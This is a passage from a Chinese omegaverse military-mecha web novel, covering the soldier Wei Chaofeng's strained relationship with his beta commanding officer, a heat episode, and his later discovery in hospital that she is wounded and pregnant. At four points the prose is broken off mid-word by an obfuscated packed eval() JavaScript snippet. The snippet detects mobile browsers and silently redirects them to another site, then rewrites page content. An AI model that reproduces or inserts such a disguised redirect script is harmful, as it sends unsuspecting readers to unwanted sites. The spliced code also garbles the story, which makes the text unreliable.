无论是看成绩还是资历,光是能得到席位就足够值得庆幸的了。 结果beta女性和安排部署的长官不知说了什么,把他给要了过去。 他依然担任侧卫,却一跃成了主攻手的侧卫。 当人事长官过来转达这个调动的时候,卫嘲风丝毫没有感到高兴,反而在心里抱怨那个人多此一举。 他不想在这种时候因为位置调动而被别人关注到,也不想再被人嚼舌根。 他凭什么调入前线,凭什么进入第一战列,又凭什么担任主力侧卫? 他根本就名不副实。 硬被人捧上不属于自己的位置,到最后只会让所有人看笑话罢了。 还是说,上校只是在执行那个alpha所说的“照顾他”的任务呢? 他已经是成年人了,为什么还需要别人照顾? “集中注意!” 一只拟虫在他面前被一分为二,通讯器里传来严厉的声音。 扫除这种零碎的敌人原本是身为侧卫的他的责任,他却因为分心,完全没有注意到敌人的接近。 如果不是主力支援及时,他的机体很可能就此“报废”。 是什么时候进入模拟战域的? 卫嘲风惊讶地发现自己似乎不记得了。 从得知部署到刚刚猛然回神,中间有一段让人感到不安的空白。 太糟糕了,不管是身心状态,还是作战态度。 都怪那个人。 非要把他拉进主力队伍。 第一次演习,他的表现的确糟糕透顶。 从机舱出来的时候,他整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14235794|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人仍处于一种恍惚的感触之中,周遭发生的一切都不真实。 “这是你第一次进行实战模拟演习吧?肯定会不太适应的,多来几次就好了,不要灰心。” 有人从后面追上来,拍了拍卫嘲风的后辈,说出了安慰的话语。 是几日未见的蓝远山前辈。 这次演习集合了第一至第五的五个战列,蓝远山是第三战列的主攻手。 卫嘲风勉强地点了点头:“嗯,我会继续努力的。” 不知是哪台机甲的舱门关闭的声音,驾驶员灵活地落到地面。 卫嘲风在看到那条身影的瞬间,条件反射般低下头。 而beta女性甚至没有给他一个失望的眼神,头也不回地离开了格纳库。 “和长官之间……发生什么事了吗?” 蓝远山想必是注意到了后辈的异样,用一如既往的温和语气问道。 “她不该让我担任主力侧卫的。我也就不必出这个丑了。” 不,不是这样的。 卫嘲风心里其实并不是这么想的,或者说是不愿这么想的,可话已经说出了口。 “我……” 起了个头,却不知道接下去要说什么。 “你让她失望了。”蓝远山说。 卫嘲风猛地抬起头想要反驳,但在看到前辈脸上那副未曾见过的严肃表情时,又把所有的狡辩给咽了下去。 过了好一会儿,才终于挤出一句话来:“前辈不是说,第一次参加这样的演习,不习惯也是正常的。” “我是那么说了。” “既然那种糟糕的表现是正常的,就说明错的是擅自对我抱有期待的她。她……她凭什么对我失望。” 卫嘲风发现自己正在颤抖。 肩膀,双臂,小腿,都在颤抖,好像在拼命压抑内心的懊恼、委屈和愤怒。 年长alpha的叹气声从前面飘了过来。 “找个地方,冷静谈谈。” 卫嘲风被带到了训练场地边缘的栈桥上,站在这里可以近距离地看到BOS的头部,明明距离和角度都差不多,但是和吊着防护绳索观察那些部位时的感受很不一样。 和存放在LOGIS的干净美观的机体们不同,前线的BOS外装上布满了各种程度和形状的伤痕。 因为尚且不会影响到机体的使用,所以不会频繁进行养护,最终就变成了这个样子。 “小子,时局开始紧张起来了。” “我们私底下都讨论会有一场和S级群落的战争。” “嗯,差不多就是那么回事。虽然表面上姑且维持着风平浪静,其实已经是什么时候爆发大战都不奇怪的阶段了。” “啊……” “大战是立功的好机会——每个争强好胜的alpha都会这么想。主力部队确实会承担更多风险,但论功行赏的时候也更容易获得晋升。” “那又怎样?” “我就开门见山地说了,很多人对你的调动感到不服。刚刚入队的新兵,凭什么轻而易举就获得了主力席位,其他人会有想法也是正常的。” 25. 谈话 “所以我才说都是那个人的错。又不是我想当这个主力侧卫的!” 卫嘲风不自觉地提高了声音。 “长官经常会做出在旁人看来剑走偏锋的举动,但是我知道,她不是那种赌运气的人。如果心里没有一定的把握,她是不会随意做决定的。之前的士别三日,也是因为她对自己的图纸有足够的自信,才敢那么做的。” 蓝远山的语气依然沉稳。 “所以说——那又怎么样?!” “她会把你提拔到主力侧卫的位置上,就说明你的实力可以担任这个位置,这一定是她根据你在训练中的表现得出的结论。她是想给你一个机会证明自己,也好让那些质疑你的人闭嘴。” “是她看错我了!” 几乎是吼出来的。 蓝远山那张平静宽厚的脸上出现了一丝波澜,他将一只手倚在栈桥的栏杆上,缓缓闭上眼睛,表情显出几分无奈。 卫嘲风后悔没能控制好情绪。 他已经让某人失望了。 一想到自己幼稚的表现可能让一直支持着自己的前辈也感到失望,他就不禁冷汗直流。 “我……是我不够冷静,我、我不该那么说。” “演习的时候,你全程都没有集中注意力。是不是最近发生了什么事?”蓝远山闭着眼睛问道。 也许闭眼这一行为正是这个男人表现温柔的方式吧。 这样卫嘲风就不会因为此刻难掩的慌张神色而感到无地自容了。 “我不知道。” “ECHO的战士,要有无论发生什么情况都能全身心投入战斗的意志。就算是同伴或者亲人在眼前被杀害,都必须继续保有高强度作战的能力。也许你就是因为缺乏这方面的觉悟,所以就算军校时期成绩优异,最后还是被送去了LOGIS吧。”蓝远山说。 不明白。 “前辈能做到吗?如果长官为了保护前辈在前辈眼前牺牲的话,前辈能够保持冷静继续作战吗?” 这么问实在有些无理取闹,就像一个不择手段也要赢得游戏的幼稚孩童。 但正因为是软肋才有拷问的价值。 年长的alpha沉默地摇了摇头。 “那凭什么要求我——” 简直是自暴自弃的获胜。 “我大概没法保持冷静。但绝对可以战斗到最后一刻。”蓝远山说。 年轻的alpha睁大了眼睛,诧异、愕然、挫败、自卑……复杂的情感从那双有着棕褐色虹膜的眼睛里流淌出来。 “ECHO不是培养战斗机器的地方。这里需要的是即使被情绪吞没,也能保持斗争本能的战士。一个很适合alpha的地方,不是吗?” “……那,长官呢?” 蓝远山终于笑了一下:“你应该发现了吧,她不是会被情绪左右的人。一个兼具了alpha和beta各自优点的,堪称完美的战士。” 卫嘲风愣了一下。 他知道蓝远山对那个人的评价很高,但不知道竟高到了这种地步。 如果一个人真的同时拥有alpha的身体素质和战斗能力,以及beta的沉着、稳定和协调,那确实是理想模板般的完美战士。 “今天时间还早,要不要陪你再练习一会儿?”蓝远山突然提议道。 他终于睁开了眼睛。 卫嘲风越过栈桥的栏杆,看向停放在前面的那台ECLIPSERAVEN,试图从这只黑色乌鸦的表情中找到答案。 “……嗯,如果前辈愿意的话。” 蓝远山不愧是军龄超过十年的老战士,经历过多个世代机体的他,对BOS的操作和控制已经到达了炉火纯青的地步,尽管使用的是陪练模式,还是让人感到难以应对。 那个人的技术,远在这之上吗? 简直是让人感到绝望的差距。 有些后悔演习的时候没有打起精神了,不然,应该能从那个人的操作细节上学到很多有用的技巧。 练习持续了大约两个小时,是蓝远山先喊停的。 卫嘲风还意犹未尽,但被前辈提醒要避免过度练习,否则会对身体造成不必要的负担。 “一直处于超载状态的话,到了真正要逼自己一把的时候反而会使不上劲。有些力气还是留给生死攸关的局面吧。” “今天实在是太感谢前辈了。” “我相信长官的判断,你是个有潜力的家伙。下次好好表现,别再让她失望。” 提到那个人,心里还是会膈应。 但是,要成为一个合格的战士,就必须克服这一点。 “说真的,要不找个机会好好和长官谈谈吧。” “唔?” “虽然你上次否定了,但怎么想都觉得你们之间大概发生了什么。要是真的出了什么问题,还是早点说开比较好吧。真的上了战场,就是互相托付生死的关系了。” “啊……嗯。我……我试试。” 额外的练习提升了对侧卫机的适应性,下次演习,就算没法完全做到全神贯注,也能依靠肌肉记忆完成操作,至少不会像今天这样出丑了。 然而,仅仅是“完成”的程度,恐怕没法让那些抱有质疑的人闭嘴。 要做到出类拔萃的地步。 但是有那个人在,自己真的可以做到心无旁骛吗? 或许像前辈说的那样,应该找个机会,先解开心结。 怀抱着这种半吊子的心情坐在驾驶舱里,不光是对ECHO的侮辱,也是对自己梦想的侮辱。 心结。 其实alpha并不确定自己在纠结什么。 他是一个观念偏向保守的人,但现在早就不是会批判婚前性行为的时代了。 况且,那个时候还出现了意外发热的情况,如果不是刚好通过行为消解,恐怕他已经走上堕落之路而不自知。 所以,就先把这一点排除吧。 果然还是因为那天偷听到的话吗? 那么,他到底是在介意那个人与那个alpha之间的关系,还是在介意自己的调动实际上被人暗中操控着的事实,抑或二者兼有呢? 说到底,他只是一个在军校期间成绩稍微有那么点突出的alph ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14250116|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' a男性罢了,军方高层有什么理由会注意到他的存在? 症结还是在她的身上。 要怎样才能自然地约她出来谈话呢? 由于演习中的糟糕表现,她已经不想多说什么了吧? 卫嘲风已经做好了被弃之不理的准备,但到了第二天,那个人却像是什么都没有发生过一样,照常给他安排训练能容,甚至增加了指导环节。 假装什么都没发生过——这似乎是那个人的特长。 她真的是一个没有心的人吧。 还是说,她是碍于那个alpha的要求,所以才没法完全对他弃之不顾呢? 无论是哪种情况,她的主动接近都让卫嘲风松了一口气。 “长官,我能和你聊聊吗?”训练结束时,他终于鼓起勇气说出了这句话。 * “看来是不能让别人听到的内容。” Beta女性在走进谈话间的时候毫不留情地嘲讽了一句。 说是嘲讽,只是卫嘲风单方面的感受,也就是说,话者本人可能并没有那种刻薄的意图,只是在单纯地描述现状而已。 “也许你不介意,但我是一个脸皮很薄的人。” 谈话间位于第一战列主办公楼,内部成员只要提前预约,就能自由使用。 墙壁和门都使用了航天材料,隔音、防震效果极佳,就算在里面疯狂蹦迪也不会被人发现。 “我们之间的谈话应该不至于有这种保密等级吧?” “对我来说有。” 卫嘲风将门关上,只要在预约时间之内,没有人可以从外面打开这扇门。 谈话内容并不涉及机密,但如果没有这样的保密空间,卫嘲风不确定自己能畅所欲言。 房间很空,只堆着一叠垫子。 Beta女性抽出一张,坐了下来:“你是来为昨天的差劲表现道歉的吗?” “抱歉。”alpha直率道,“我让你失望了。” “谁告诉你我失望了?蓝远山吗?”beta女性用一种近乎困惑的口吻说道,“我没有对你抱什么期望,也就谈不上失望了。” 生气也好,原谅也好,安慰也好,卫嘲风预设过好几个可能,但其中没有眼下这种。 明明是他自己说的,她本就不该对他抱有期望。 可是在直面这个事实的时候,却有当头一击的痛感。 “我今后会努力的,不会在演习的时候随意分心。”即使如此,他还是努力诚恳地反省着,“希、希望……长官可以,为我提供一些……帮助。” “演习的时候再怎么分心都无所谓。”beta女性说道,“但是上战场的时候可不能那么任性了。” “啊?” “说吧,你需要怎样的帮助?” 淡漠的语气,冷漠的表情。漂浮在冰海般虹膜上的瞳孔。 卫嘲风觉得自己就是明知前方是一座冰山也要义无反顾撞上去的蠢货轮船。 最可笑的则莫过于他意识到自己想从那种神情中找到哪怕一丝关心。 哪怕是受人委托的虚假的关心。 26. 死皮赖脸 “长官……我进入ECHO的事,是、是、是你和指挥部的高层做了什么‘交易’才促成的吗?” 大脑好不容易才将这段文字组织起来,并向发声器官下达指令。 然而当事人并不确定自己是否完整无误地传达了意思。 眼前的这个人,这个beta,这个女性,是一个理智到超越了beta这个性别的存在。 情绪对她来说是没有必要的,判断事物价值的依据即是她自身的利益。 她可以通过“交易”得到自己想要的东西。 代价和报酬都经过其内在合理性的衡量。 她由此得到仰慕者的无畏牺牲、爱慕者的坚定追随。 但是从LOGIS到ECHO的调动是由指挥部执行的,交易的参与者有三方,必定涉及两次交易。 一次是用一个承诺换□□愉。 那么还有一次呢?她以什么代价获得了指挥部的首肯呢? Beta女性露出了一个没有笑意的笑容:“别把我说得像是一个了不起的生意人。没有什么交易,不过确实动用了一点私人的关系。” 毫无疑问地,卫嘲风的脑中出现了那个alpha的背影。 在车间听到的没有根据的传言也悄无声息地从记忆深处复苏了。 “你……真的,和元帅……是、是那种关系吗?” 虽然在卫嘲风的认知中,alpha和omega的结合才算得上天经地义,但他也知道,总会有一些取向奇怪的人出现。 既然蓝远山和辛冽那样的alpha都千真万确地爱上了这个beta,那么身为军队统御者的元帅会属意于她也不奇怪。 就像她曾经倚仗身份对他提出“不合理的要求”一样,比她位高权重的人当然也可以利用同样的手段对她做出同样的事。 说不定就是因为那种经历,才将她变成了一个性情怪异的人,一个无法用正常手段表达感情的人。 是的,直到这个时候,年轻的alpha还愚蠢地抱着“这个人喜欢自己”的不切实际的幻想,甚至因此对她感到疼惜。 世界上恐怕没有比他更纯情更愚蠢的家伙了。 他正是那种被卖了还会帮人数钱的傻瓜。 “你那副表情是怎么回事?” 比起肯定或否定的回答,beta女性脸上的困惑越来越浓,于是无视问题,进行了反问。 被质问的人并不知道自己脸上究竟是怎样一副表情。 “一副被始乱终弃,想找人负责的表情。啊,是想让我对你负责吗?” 蓝远山说这个人虽非善茬,但也不会以捉弄他人为乐。 他只说对了前半部分。 她现在,分明就在捉弄人。 卫嘲风觉得自己的脸和脖子像是着了火一样,不用怀疑,脸已经红透了。 看一个alpha被自己弄成这副模样,她心里一定很得意吧。 他没有及时发现话题已经离他最初设定的方向十万八千里,而且很难再转回去了,只是单纯地一个劲地感到后悔,感到羞愤,感到想要消失在这个世界上的心情已经达到了巅峰。 事情既然发展到了这个地步,反而让他生出一股莫名的勇气。 “我就是想让你负责!” “那可是我的第一次!” “我从分化的第一天起就决定要把第一次留给终身伴侣了!” 一种破罐子破摔的勇气。 这种反击获得了出乎意料的优良效果,大概就是所谓的出奇制胜吧。 Beta女性的表情变得稍微认真了一点。 “在这个年代,你永远无法预测意外和变心哪个来得更早,说什么‘终身’,未免有点好笑。” “意外先发生的话,就不能变心了吗?” 卫嘲风不知道自己是哪根筋抽了,竟能在她面前用这种语气说话,说的还是这样的话。 在接下去的相对论意义的漫长沉默中,他才意识到自己为什么会这么说。 ——是因为辛冽。 谁知道当年那对奇奇怪怪的AB情侣能走多远呢? 因为意外比变心来得更早,所以一切没了定论。 活着的人怎么比得过死去的人? 她要一辈子活在对那个名字的惦念中,那他自然只能当被始乱终弃的那一个了。 Beta女性似乎也注意到了这一点,露出了一种陌生的表情。 这种表情打破了她一贯以来的气质,让她看起来显得有些无助。 她皱了皱眉,接着肩膀一跳,身体向前倾倒,一只手及时撑住地面,另一只手捂住了下半张脸。 像是要把埋在心里的事物一口气呕出来一样。 卫嘲风慌了神,下意识地想要扶她,却被打翻了手。 “不要碰我!”beta女性用干脆而不容置疑的语气喝止道。 Alpha低下头,讪讪地收回手。 或许他没有想到,自己并非被喜爱,而是被厌恶的对象。 他发现了一个如同弥天大谎般的事实。 一直以来他弄反了一件事。 并不是她喜欢他。 而是他喜欢她。 他是斯德哥尔摩综合征患者吗? 她明明欺骗了他、伤害了他、作弄了他,他居然喜欢上了她? 就像蓝远山说的那样,喜欢这种感情的产生,是没有什么道理的。 “那个时候……那个时候,你究竟是怀着怎样的心情提出那个条件的?” 声音变轻了。 “难道我只是你发泄欲望的工具,或者说一个替身?” 变得委屈了。 “就算是那样也无所谓,我……想和你在一起。” 变得卑微…… 种子被施了魔法,一瞬间冲破覆盖其上的土层,长出子叶,长出茎,长出枝叶,势不可挡地越长越大。 体温显著升高,到达了影响身体机能的地步,肌肉感到酸痛,大脑像是被针扎一样,肉身裹挟于异常的痛苦之中,却还有余力产生欲望。 这次,他立马就意识到,这是又一次发热。 第三次不正常的发热。 也许他已经站在堕落的边缘了。 也许他在第一次的时候就已经掉下去了。 “我……我……” 想要。 镌刻在遗传信息中的本能正在释放这样的信号。 不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14258187|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可思议。 他在一个beta面前发热。 精神和身体的欲求突破了常识的规训,达成了不可能的统一。 在没有信息素诱导的情况下,逐渐失控。 “我……长官……长官……” 用最后的理智抑制自己,征求着那个人的同意。 Beta女性只表现出了一瞬的错愕,立刻像变魔术一般从口袋里摸出了一盒药剂,熟练地、冷静地拆开,接着站了起来,单手将alpha压制在墙角,打算将药剂灌进他的口中。 “不要……”alpha任性地摇着头,“不……不喝……” 肢体接触的刹那,欲望变得更加强烈,强烈到即使浑身疼痛,仍然有力气进行反抗,并试图占据主导权。 这样下去,说不定会死掉的! 你……你舍得吗? 想要…… 给我…… 他做了一个最幼稚、愚蠢的决定,那就是在一个毫不在乎他的人面前,把承受着巨大痛苦的自己作为人质。 世界上果然没有比alpha男性更自我中心的存在了。 ——你是什么人?也敢要挟我? ——我为什么舍不得? Beta女性面无表情地与紊乱发作的alpha拉开距离。 Alpha试图靠近,结果被毫不留情地一脚踹飞到另一个方向的墙上。 短暂的失神中,他听到机械门一开一关的声音。 然后门被从外面锁上了。 * 从岩浆里挣脱,然后掉进冰湖,接着沉入闷不透气的泥沼。 越陷越深,内脏被紧紧地挤压,无法呼吸。 像是被放在窑中烘烤的陶胚。在高温中僵化,失去了改变形状的可能。 将他唤醒的,是追踪身体状况用的医疗仪器发出的滴滴声。 第一眼看见的是悬在挂钩上的输液袋。 无色透明的水滴落下来,那个坠落的过程漫长得好像经过了一个世纪。 然后是第二个世纪。 第三个世纪…… 相对论的作用消失了。 时间的流速恢复正常。 “啊,你醒了啊……真是的,到底是谁的恶作剧,差点玩出人命来。” 穿着护士装束的年轻女性长得十分眼熟,好像在几百年前见过一样。 是那种什么……前世的恋人吗? 怎么可能?! 神经信号的传递似乎变慢了很多。 卫嘲风发了一会儿呆。但其实只是看上去在发呆,实际上大脑一直在思考这位护士小姐的姓名。 一定是在哪里见过的,在哪里…… “珂琳?”他大约思考了一分钟,终于得出了这个结论。 宽松的蓝色工装变成了贴身的护士服,刘海利落地被藏进帽子里,下半张脸用口罩遮着,但眼神没有变化,一种放到omega脸上也毫无违和感的温柔。 护士轻轻地笑了一下:“看来你的脑袋没有被烧坏,还真是万幸。” 她摇动床边的把手,调整了一下床板的角度,接着观察了一下输液的情况,最后在随身的笔记本上记录下仪器显示的身体数据。 27. 孕育 “发生了……什么?你怎么会在这里?” “前不久不是调了很大一批人去STELAR服役吗?医务部因此陷入了严重的人手不足状态,就把我调过来帮忙了。” “这里是LOGIS?” 难道说脑海中的那些在前线训练的经历,实际上都是昏睡期间的一场梦境? 就是嘛,他怎么可能这么容易就被编入ECHO,而且还是最为精锐的第一战列。 一想到那些尴尬的事情并没有实际发生过,病人的心情顿时变得轻松起来。 珂琳小幅地摇了摇头:“这里是前线,LOGIS的医务部门有大半被临时抽调过来了。” “……”也就是说,并不是做梦。 “你是不是在这里表现得太张扬,所以被人欺负了?” 有人对他不抱善意是事实,但要说受欺负,又还远远没有到达那种地步。 不过是被说了几句捕风捉影的闲话罢了。 “不过对方的行为也太恶劣了,居然把发热的alpha锁在房间里。” 护士伸手摸了摸病人的额头,“热度已经完全退下去了。不过还是再休息几天吧。” 如果珂琳知道使病人陷入危险的罪魁祸首就是自己所崇拜的那位beta女性的话,不知道会有什么感想。 不过…… Alpha发现了一个关键性的问题。 “把LOGIS的医务部门抽调的前线?” 说起来,总觉得外面似乎吵吵嚷嚷的,完全不符合医院的印象。 但看周围的环境,这确凿无疑是一间正经的病房。 前线出现了很多伤者吗? “出现了紧急事态,和S级群落有关,所以相当棘手。”珂琳的神色有些黯淡,“虽然我们这边伤亡惨重,不过好歹控制住了。” 病人颤抖了起来:“怎么回事?什么S级群落?我……我昏迷了多久?” 护士调整了一下房间的光线,露出一个安抚的笑容:“因为紧急召集的时候你没有出现,STELAR的地勤组四处寻找,才在活动室里发现了已经失去意识的你,从那天算起的话,刚好经过了一周。” “一周……这么久?” “该算幸运还是不幸呢?要是在战场上发热就糟糕了,算是躲过了一劫吧。缺席召集的人,放在平时可是要吃处分的,不过考虑到现在前线已经缺人到想去地面征兵的地步了,所以这回应该会对你睁一只眼闭一只眼吧。” 就在这时候,走廊上的噪音愈发嚣张起来,脚步声、叫喊声此起彼伏。 “让一让让一让,有重伤员!有没有空的手术室?手术护士过去集合!” 珂琳的脸色变了变,温和的脸上出现了少有的严肃表情。 “我过去看看。” “嗯。” “……你别死!你可千万不能死!”熟悉的大嗓门穿越了人群,穿越了墙壁,传到了这间寂寞的病房。 卫嘲风觉得心脏突然被一阵不祥的预感攫住。他重重地靠在床背上,仰看着那片白色的天花板,心想:应该不会的。 那个吵吵嚷嚷的声音的确是邹允无疑。 不过在编队中能让邹允如此撕心裂肺的人又不只有那一个。 肯定不会是她。 她那么厉害。 她…… 哪怕让他直面因为过热导致的生命危险,也不愿意迁就,也不愿意让步,也不愿意让他实现卑劣的愿望,也不愿意为他消解自私的冲动。 既然如此,当初又为何会提出那样的交易? 太矛盾了不是吗? 哪怕只是把他当成辛冽的替身也可以啊。 房间外面的喧闹声逐渐平息了下来。但心里始终有一个角落在躁动不安。 他的生命中出现了一段空白的时光,在一个微妙的时机中断,在另一个微妙的时机重启,前后的世界发生了翻天覆地的变化,只是此刻的他还没有意识到这种剧变的征兆。 挂钩上的输液袋已经空了。但是珂琳没有再出现过,也没有其他护士或医生过来查房。 看来情况很严重呢。 卫嘲风自行拔掉了针头。看了一眼仪表上的数据,一切正常。于是也拔掉了连接在身上的电极。 迷茫地下了病床,穿着蓝白条纹病号服的alpha,如同一只无法融入新时代的古代幽灵一样,飘到了走廊上。 “……已经有四个月了。” “她自己没有发现吗?” “不清楚,不过似乎从来没有落下训练,紧急事态的时候,也是第一时间就出击了,恐怕是不知情的吧,毕竟一直要配实际情况调整生理期,可能很难发现。” “那可是整整四个月诶?怎么可能一点都没觉察到?” “受了那么重的伤,反正是保不住了的。” “什么保不住了?” 正在走廊上热聊的小护士们吓了一跳,转头看向突然插话的不速之客:“你是……”她们快速地扫了一眼病人手臂上的纸环,“12号床的病人。你终于醒了啊。” 万幸不是护士长。 如果是那位认真死板的女性发现自己的部下在这种时刻还有心思闲聊八卦,一定会把她们俩训得狗血淋头。 “你们刚才说什么保不住了?” “刚才送过来的伤者,孕十六周,这次在战场上受了重伤,小孩应该保不住了。” “我听说她是元帅的人诶,那这个小孩会不会……” “不要瞎说,元帅的年纪都能当她爸爸了。” “可是——” 小护士毫无征兆地掐断了话头。 三双眼睛都看到了从电梯间走出来的那个身影。 五十岁左右的男性alpha,军队最高统帅的装束。 让人窒息的压迫感,目空一切的存在。 他走到三人组的面前,居高临下地扫视着哑口无言的三个人,目光在病人的身上停留了片刻,才转向最边上的小护士:“朱厌上校的病房。” “啊、啊,朱、朱厌上校是吗?现在还在手术中……我、我带您去手术室外。”小护士结结巴巴地答道。 一半是因为被那股气势压倒,一半是因为心虚。 在背后嚼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267306|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人舌根的时候,最可怕的事情莫过于正主突然出现。 “麻烦你了。” 三人组变成了两人组。 引路的护士和男性alpha的身影也很快消失在走廊的拐角处。 过了很久,引路的小护士匆匆忙忙地跑了回来,拉着同伴的手,用激动的,但是被大幅压低过的声音说道:“你看,你看,我说的没错吧?元帅亲自来看她了诶!” “但、但是……” 只是来探病而已,这也说明不了什么吧! 卫嘲风在心里大喊起来。 除此之外他还能怎么办呢? 难道他要为了一个卑鄙的beta和那个顶级alpha来一场堂堂正正的对决吗? 那完全只是自取其辱而已啊。 “对了,检查报告上应该有显示胚胎着床的日期,说不定可以看出点什么。”小护士甲提出了一个相当聪明的建议,并迅速回到护士站查找资料。 “你怎么也过来了,好奇吗?”小护士乙回头看了一眼阴魂不散的病人。 而后者一脸严肃地点了点头。 虽然两个小护士看起来资历很浅,但在对八卦新闻的强烈好奇心的驱动之下,发挥出了有如产科老护士般的经验与学识,根据报告显示的情报推算出了一个相当精确的日期。 “绝对没有错了。” “那个时候她还在LOGIS,应该没法和元帅见上面。” “也、就、是、说——她除了元帅之外,还有别的男人啰?” 小护士的脸上显露出肃然起敬的神情。 能够如闲庭信步般游走在数名异性之间,而且其中还有像元帅这般位高权重的顶级alpha,能做到这一点的omega都寥寥无几,更不用说一个没有信息素的beta。 或者说正因为是beta,所以才能如此游刃有余吧。 他们没有那种让人困扰的本能,即他们不会被费洛蒙和标记这种东西束缚。 他们是自由的。 所以才可恨。 如果对手是一个beta,先爱上的人只能接受一败涂地的结局,这毫无疑问,不管对哪个性别来说都是如此,即使是内部消化也不例外。 这个残酷而傲慢的规律对所有人来说都是平等的,哪怕是最优秀的alpha。 可是,alpha为什么会爱上beta呢? 这个规则的前提就有问题吧。 不对,谁说alpha不会爱上beta呢? 如果所有的alpha都注定只能爱上omega,那就是说人类的意志终究输给了本能,输给了运行不息的天理,大自然的、宇宙的意志。 手术顺利完成了。 侵入皮肤、嵌入肌肉的无机物碎片被完美地取出了身体。 四个月大的胚胎异常顽强,表现出了非凡的求生欲望,在所有指标彻底安定下来之后,依然充满活力地寄生在那具躯体之中。 想必它应该感谢自己有一位坚强到让人怀疑世界真实性的母亲。 至于它的父体,由于毫无贡献,自然不值一提。 28. 哪怕 卫嘲风站在病房外面,不知道自己是否能够进去。 因为他来晚了一步。 就在他走过那个转角的时候,他看到有人先他一步进入了病房。 作为一名士兵,他对身为军队最高指挥者的元帅抱有毋庸置疑的敬畏之情,但在这种情况下,也难免要觉得那家伙有些烦人了。 他也已经知道那件事了吧,他会发表怎样的感言呢,能在她面前继续保持那种温柔和暧昧,还是表现出气急败坏的模样呢? 卫嘲风对自己的无耻想法感到绝望而羞愧,但仍然无法控制自己。 所以他才会站在这里。 低沉的,稳重的声音从门后传来。 “9号群落的主力受到重创,大群已经撤退,你做得很好。” 宣布公告般的口吻,一种怜惜和赞赏的语气。 没有回答。也没有下文。 漫长的沉默像是一只无形的手,紧紧地攥着偷听者的心脏,直到他忍无可忍地推开了房门。 那个身份已经明确的男人今天没有穿戴制服,卫嘲风装作不认识他一样,只是带着依靠演技表现出来的惊讶表情对他点头致意。 “你是?” 被对方抢先了。 在这个场合,先问出这句话的人能占据更多的合理性——和病人关系的合理性。 没有办法。 “列兵卫嘲风,目前在ECHO第一战列服役,接受上校的指导。” 他真的不知道他是谁吗? “你也受伤了?” 真是一个致命的问题。 他没有受伤。 他甚至没能上战场。 说起来,他之所以会穿着病号服出现在这里,都是因为躺在床上的这个女人的错。 “是紊乱。”他不得不说出这个难以启齿的答案。 床上的人闭着眼睛,并未苏醒。 这恐怕是宇宙之神对他唯一的仁慈了吧。 “我想……现在STELAR的各个部署应该都很忙碌,可能没有人能抽空过来探病,反正我刚好在住院,就想过来照看一下……” 太悲惨了。 只是想过来看看她是否安好,都还要准备一套说辞才行。 “这样。”身为元帅的男人脸上完全没有多余的表情,他看了躺卧的病人一眼,又看了站在病床前的病人一眼,“我差不多该走了。” “你——” 卫嘲风在冲动的唆使之下,打算把那个困扰了他很久的问题弄个明白,那就是这个男人和名为朱厌的beta女性到底是何种关系。 然而就在这个时候,细微的声音从病床上飘了过来,一下子制止了他的冲动。 “辛冽?” 两个alpha男性的身体同时僵了一下。 卫嘲风没有心思去细究那位年长者的心理活动,下一秒就不由自主地向床头靠了过去,用连自己都感到陌生的声音应道:“我是。” 他说过的,哪怕当替身也可以。 Beta女性的目光并不清晰,显然还没有完全恢复神智,但是那张万年冰山似的脸上突然绽开了一个很浅的笑容。 要形容的话,应该用自豪的笑容比较合适。 “终于帮你报仇了。”她说。 说完这句话,她便再次陷入了沉睡。 卫嘲风觉得自己的脑袋像是被八十公斤的铁锤砸了一下。 背后传来房门开合的声音,现在,病房里只剩下两个病人。 看来那个男人还想给他留下一点自尊。 可是……可是……他能抱怨什么呢? 是他亲口说的,哪怕被当成替身也好,他就是想留在她身边。 哪怕是被当成替身也好。 原来说起来就已经很艰难的事情,实践起来往往更加艰难。 以她的实力,该遇上什么敌人才会变成这副模样? 哪怕把自己成这副模样,也要与之战斗到底的敌人……是夺走她曾经恋人的家伙。 果然,活着的人是没法赢过死去的人的。 她不会再爱上另外一个人了。 她把那个人的死亡看得比自己身体中正在孕育的那个新生命更加重要。 ——尽管这个孩子顽强地活下来了。 